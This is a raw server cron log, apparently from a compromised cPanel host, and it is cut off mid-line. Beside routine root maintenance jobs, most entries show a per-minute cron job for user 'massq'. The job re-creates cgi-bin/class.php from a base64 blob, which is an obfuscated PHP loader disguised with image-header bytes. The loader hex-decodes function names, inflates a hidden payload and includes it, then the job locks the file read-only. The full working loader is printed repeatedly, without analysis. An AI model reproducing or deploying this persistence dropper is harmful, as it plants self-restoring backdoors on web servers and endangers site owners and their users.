Apr 10 10:52:01 server CROND[7325]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:53:01 server CROND[7395]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:54:01 server CROND[7473]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:55:01 server CROND[7697]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:55:01 server CROND[7698]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 10:55:01 server CROND[7699]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 10:56:01 server CROND[7828]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:57:01 server CROND[7905]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 10:57:01 server CROND[7906]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:58:01 server CROND[7983]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:59:01 server CROND[8055]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:00:01 server CROND[8219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:00:01 server CROND[8220]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 11:00:01 server CROND[8221]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 11:00:01 server CROND[8222]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 11:01:01 server CROND[8338]: (root) CMD (run-parts /etc/cron.hourly)
Apr 10 11:01:01 server CROND[8339]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:01:01 server run-parts(/etc/cron.hourly)[8338]: starting 0anacron
Apr 10 11:01:01 server run-parts(/etc/cron.hourly)[8351]: finished 0anacron
Apr 10 11:02:01 server CROND[8429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:03:01 server CROND[8514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:04:01 server CROND[8581]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:05:01 server CROND[8759]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 11:05:01 server CROND[8760]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 11:05:01 server CROND[8761]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 11:05:01 server CROND[8763]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr 10 11:05:01 server CROND[8768]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg